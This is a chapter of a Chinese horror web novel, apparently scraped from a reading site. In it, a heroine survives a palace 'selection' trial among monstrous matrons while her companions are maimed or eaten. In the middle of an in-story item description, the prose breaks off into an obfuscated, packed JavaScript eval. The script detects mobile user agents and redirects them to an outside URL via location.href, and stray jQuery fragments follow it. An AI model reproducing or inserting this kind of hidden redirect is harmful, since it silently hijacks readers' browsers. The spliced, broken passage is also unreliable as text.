周央的话,没有人回答,也没有人知道该怎么回答。
进入星诡洞时,除非有绿色诡器【时空之梭】,否则所有的诡界都是随机进入。
皇宫选秀这个诡界明明只是一个单场景性诡界,却直接在第一天就断了所有职业者的退路。
他们除了认认真真在这七天里努力完成选秀,努力活下去外,似乎别无选择。
郑敏嘴唇嚅动了一下,却没有在这时候再说什么激励人心的话,死局已在眼前,多说无益!
许盈月却仍旧认认真真的打量着周围的一切,与她曾经对这个诡界的了解一一对应。
诡雾她已经有了解决的办法,可在已经大变样的诡界里,她必须更加谨慎行事。
很快,六人被丫鬟送到了冰清阁,这里便是验身之所,也曾是男性职业者的噩梦之源。
据说,现在在星际对一个男人最直接的嘲讽就这是这张冰清阁的图片。
六人刚刚站定,一队宫女诡异便打开门迎了出来,她们面容完好,唯有眼下、嘴唇、手指弥漫着黑色的死气,显然比丫鬟们的级别高的不是一丁点。
郑敏虽然是A级职业者,可她的感官也更加敏锐,在宫女诡异们的注视下,手心潮湿,一动都不敢动。
其他人更是连腿都迈不开了,以往看直播的时候,只觉得职业者胆小,等真正轮到他们的时候,才知道当时的职业者究竟面对着怎样的压力。
“几位秀女,请——”
话落,却没有一个人敢动,为首的宫女似乎很有耐心的又请了一遍。
与此同时,宫女们也纷纷往前迈了一步,在诡异强大的威压之下,顾琪下意识就将诡器捏在手里,尤可可面色苍白的抓着顾琪的衣袖。
朵朵也连忙站在了郑敏的身后,周央看来看去,闭着眼睛站在了许盈月的身后。
要是这次他能脱险,他就认许盈月做大佬,抱死了这根大腿!
这些诡异也是的,让他们进去,好歹也收收自个身上的气势啊!
周央只觉得眼前的阴影一动,他睁开了眼,看着许盈月的背影,张了张嘴。
不是,许盈月她,她真胆大啊!
不光是周央,其他人也都懵了,一个F级,竟然可以无视诡异的威慑吗?
“或许,是因为她S级体质的原因,就是可惜她命不好。”
尤可可小声嘀咕了一句,郑敏刚刚升起的怀疑又消散了。
是啊,许盈月可是S级体质却觉醒F级职业的怪胎,她有所不同也是应该的。
许盈月并不知道尤可可的揣测,她跟着宫女进了冰清阁,里面倒是很干净,唯有空气中弥漫着淡淡的潮湿气息。
“福嬷嬷,新秀女带到!”
宫女的声音又尖又细,犹如鬼哭,曾经有职业者被宫女当场吓哭,被验身嬷嬷诡异当场剜了眼睛。
福嬷嬷的脸被烧伤大半,凑近闻还有一股子烟熏味儿,这会儿她那双癞蛤蟆似的眼睛正滴溜溜在许盈月脸上徘徊,视线冰凉而粘稠。
“嘶啦——”
许盈月的肩膀直接被福嬷嬷撕开了一个大口子,她又凑近嗅了嗅,眼中闪过了一丝贪婪,但很快又装模作样的开口:
“记:秀女许盈月,身长五尺六寸,臂长二尺八寸,腿长三尺五寸……”
福嬷嬷絮絮叨叨的说着,从身体围度,再到体香、肚脐、声音等都折腾了一遍。
许盈月的评级各项都是上等,唯有体香一项,福嬷嬷舔了舔嘴唇,先写下了“上等”两个字。
之后,福嬷嬷又斟酌了一下,添了两字改成了“中等”,犹犹豫豫着在后缀上了个偏上。
许盈月看着只觉得好笑,难道这福嬷嬷还要从自己身上给她谋私利?
等记录好后,福嬷嬷这才尖笑着:
“许秀女,恭喜过关!来,累了吧,坐下歇歇……”
许盈月并没有从记忆中的十三场直播里遇到这一幕,毕竟那些职业者在这一关大多会失去什么。
为了暂时不激怒诡异,许盈月选择顺水推舟坐下。
“嘶……”
大腿处一丝微不可察的疼痛传来,许盈月脸色大变,一嚯站起身,她受伤了!
只见那木凳之上,一根不易察觉的银针正藏在缝隙之中,人类的血液破皮而出散发出的芳香是诡异最好的兴奋剂!
与此同时,一股烧焦的臭味从许盈月身后渐渐蔓延过来,福嬷嬷的声音幽幽响起:
“许秀女,你好香啊。”
这群诡异,竟然有了自主坑害职业者的意识!
许盈月立刻转过身,迎面便是福嬷嬷已经异化的半张脸,她原本烧伤的伤疤被黑气顶破,黑血滴答落下,十根手指上的指甲飞快生长,黑的发亮!
许盈月没有召唤不平剑,她心中隐有所感,凭借自己现在的能量,不平剑暂时还解决不了这个诡异!
想到这里,许盈月后退一步,声音悲怆:
“十年来,深恩负尽,死生师友!”
“老师!我知道错了,您难道忘了我吗?!”
许盈月泪盈于睫,被少女眼泪汪汪的看着,福嬷嬷只觉得心底蓦然一软。
福嬷嬷不由得停在原地,她疑惑的看着许盈月,明明眼前人身上的气息格外的馋人,要是可以她真想将她浑身的血肉骨头一口口吞吃干净。
她刚刚看到了,那双手纤纤如笋,要是嚼着吃一定和新鲜的脆笋一样又香又脆!
可冥冥之中,她的意识告诉她,好像自己真的在早年有了这么一个爱如珍宝的弟子。
“你是……”
“我是盈月啊,老师!”
许盈月抹了一把泪,发挥她演技的时候到了,诡异都有自主意识,她拜个诡异当老师不过分吧?
“是你啊,盈月!”
福嬷嬷顿时流下两条漆黑的眼泪。
“老师!”
“师生”二人紧紧相拥,福嬷嬷抱了一下就松开了许盈月,急急道:
“你怎么来选秀了?诡皇……”
福嬷嬷话还没有说完,一股子邪风吹来了大门,宫女的声音远远传来:
“嬷嬷,时辰到了。”
福嬷嬷来不及多说,忙攥着许盈月的手塞了一个东西,叮嘱道:
“拿着,别慌,别怕,老师在呢!”
许盈月还没有道谢就被福嬷嬷推了出去,之后宫女立刻从人堆里拉出了一个人,正是尤可可。
尤可可被推搡着走了进去,郑敏等人看到许盈月完好无损的站在一旁,在一众虎视眈眈的宫女注视下,没有敢上前攀谈。
许盈月也落得清静,点开系统面板察看起福嬷嬷送给自己的东西,这……似乎是一件诡器。
【诡器:皇宫对牌】
【等级:黄色】
【特性:福嬷嬷随身携带多年的皇宫对牌,有了它,可以打开所有等级等于或低于皇宫的大门。(动动你的小脑瓜,这世界上还有什么门能大过皇宫吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571650|171508||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?)】
“嘶,这……”
许盈月不由在心里感叹自己这位便宜老师的大方,要是自己能活着出去,这件诡器就是如虎添翼的存在!
收好诡器后,许盈月就在一旁闭目养神起来,诗词家的职业此前从未有人成功激活过。
虽说自己现在记忆中的古诗词俯拾可得,但是每一句诗词需要的能量与特性她还不能自如掌控。
比如昨晚的不平剑,她几乎榨干了体内所有的能量才召唤出来,但也只是斩杀了一个诡异就力竭了。
反倒是刚才的死生师友,只消耗许盈月三分之一的能量,却控制了一个远超昨晚的诡异。
这就是概念神和直接刚的区别吗?
只是,不知道这个概念神的作用范围,要是所有诡异通用,那以后自己在诡界岂不是遍地是朋友了?
正在这时,尤可可的尖叫声响起,一长一短。
没一会儿,少了两根手指的尤可可被嘴角染着鲜血的宫女送了出来。
尤可可一边用衣角包裹着受伤的手,一边脸色阴沉的站在了许盈月的身边。
选美比赛,她失去了手指就已经落了下风!
之后,依次是郑敏、顾琪、周央、朵朵。
郑敏出来的时候一瘸一拐,左小腿干瘪了许多,顾琪的脖颈上有一道深可见骨的伤痕,而周央则是直接被如同死狗一样丢了出来。
众人定睛看去,这才发现他竟然直接失去了半个屁股!
伤口的血滴滴答答的落下,周央忍着疼取出一个不知名的喷雾,喷了两下,伤口一下子就止住血了。
只要不死,有生长舱在,来日他们还是能蹦能跳!
“这是……母星古方云南白药?”
顾琪有些惊讶,诡界之中,联邦研制出的药剂只有少部分能用,而这其中,出自母星古方的云南白药效果最好,也是供不应求。
“识货!”
周央竖起大拇指夸了一句,随后直接垮下脸,“扑通”趴在地上,疼的咬碎了牙也不顶用。
朵朵则是最后出来,她脸上糊了许多血,左耳朵消失不见了,也不见之前的笑颜。
一时间,所有人看着许盈月的眼神越发古怪了。
许盈月,她究竟靠的什么能毫发无损走出来?
“走!快走!安嬷嬷要等急了!”
宫女大声催促着,这安嬷嬷是教导众人习礼的教习嬷嬷,等到了她的院子,就连宫女也不敢轻易上前:
“秀女们,进去吧!安嬷嬷在等着你们!”
宫女们话没有说完,就七手八脚的将所有人推了进去。
和福嬷嬷不同的是,众人刚一进去,一道黑影就直接扑过来,将周央的一根手臂掰断,在阴影里捧着大吃大嚼起来。
骨头的咯嘣脆响伴随着众人意识到同类被食用的恐惧,一股子恶心感瞬间涌上喉头。
“呕——”
尤可可刚发出声音,黑暗中的安嬷嬷立刻冲过来,掐着她的脖子,伸手探进她的口中,将她的喉管、胃囊、心脏等内脏一口气扯出来,她仰着头,像是人类吃一大串葡萄一样大口吞吃起来。
这个过程,尤可可甚至来不及发出一点儿声音!
“嗯,终于吃饱了!你们这些不听话的小家伙们啊,只有给点儿惩罚才乖……”
出乎意料的,安嬷嬷的声音年轻而充满诱惑力,可其他活着的人都不由得打了一个哆嗦。
“来吧,该上课了。”